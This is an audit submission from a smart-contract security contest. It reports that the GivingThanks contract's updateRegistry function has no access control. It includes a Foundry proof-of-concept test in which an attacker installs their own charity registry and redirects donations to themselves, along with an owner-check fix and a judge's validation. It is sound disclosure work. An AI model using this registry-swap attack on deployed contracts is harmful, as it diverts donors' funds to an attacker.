GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-03] Lack of access control in `GivingThanks::updateRegistry` permits unauthorized charity registry updates, leading to malicious verified charity addresses

0xnelli

Summary

The GivingThanks::updateRegistry function has no access control, meaning that the value of the GivingThanks::registry state variable can be modified to point to a malicious instance of the CharityRegistry contract.

Vulnerability Details

As can be seen below the function GivingThanks::updateRegistry has no access controls and is public, meaning it can be called by anyone.

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

This allows an attacker to create a malicious instance of the CharityRegistry contract and change the value of GivingThanks::registry to point to this instance.

Impact

The GivingThanks contract using a malicious instance of the CharityRegistry would prevent users from donating to legitimate charities and only enable donations to addresses verified by the attacker.

Proof of Code

The following test can be added to the existing test suite to verify this vulnerability.

function testUpdateRegistryToMaliciousCharityRegistry() public {
address attacker = makeAddr("attacker");
​
vm.startPrank(attacker);
// Create new CharityRegistry instance in which the attacker is the admin
CharityRegistry maliciousCharityRegistry = new CharityRegistry();
​
// Verify the attacker's address as a charity
maliciousCharityRegistry.registerCharity(attacker);
maliciousCharityRegistry.verifyCharity(attacker);
​
// Update the GivingThanks contract to use the malicious charity registry
charityContract.updateRegistry(address(maliciousCharityRegistry));
vm.stopPrank();
​
vm.deal(donor, 1 ether);
vm.startPrank(donor);
vm.expectRevert("Charity not verified");
// Verified charity can no longer receive donations
charityContract.donate{value: 0.5 ether}(charity);
​
// Attacker address can receive donations
charityContract.donate{value: 0.5 ether}(attacker);
assertEq(attacker.balance, 0.5 ether);
}

As can be seen above, an attacker can point the GivingThanks contract to a malicious CharityRegistry where they have admin privileges. This prevents previously verified charities from receiving donations and enables the attacker's wallet to receive donations.

Tools Used

Manual review & foundry unit tests.

Recommended Mitigation

An Access control check for the GivingThanks::owner should be added to the GivingThanks:updateRegistry function.

function updateRegistry(address _registry) public {
+ require(msg.sender == owner, "Only owner can update the charity registry");
registry = CharityRegistry(_registry);
}

This prevents unauthorised users from changing the instance of the CharityRegistry used by the GivingThanks contract.

Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.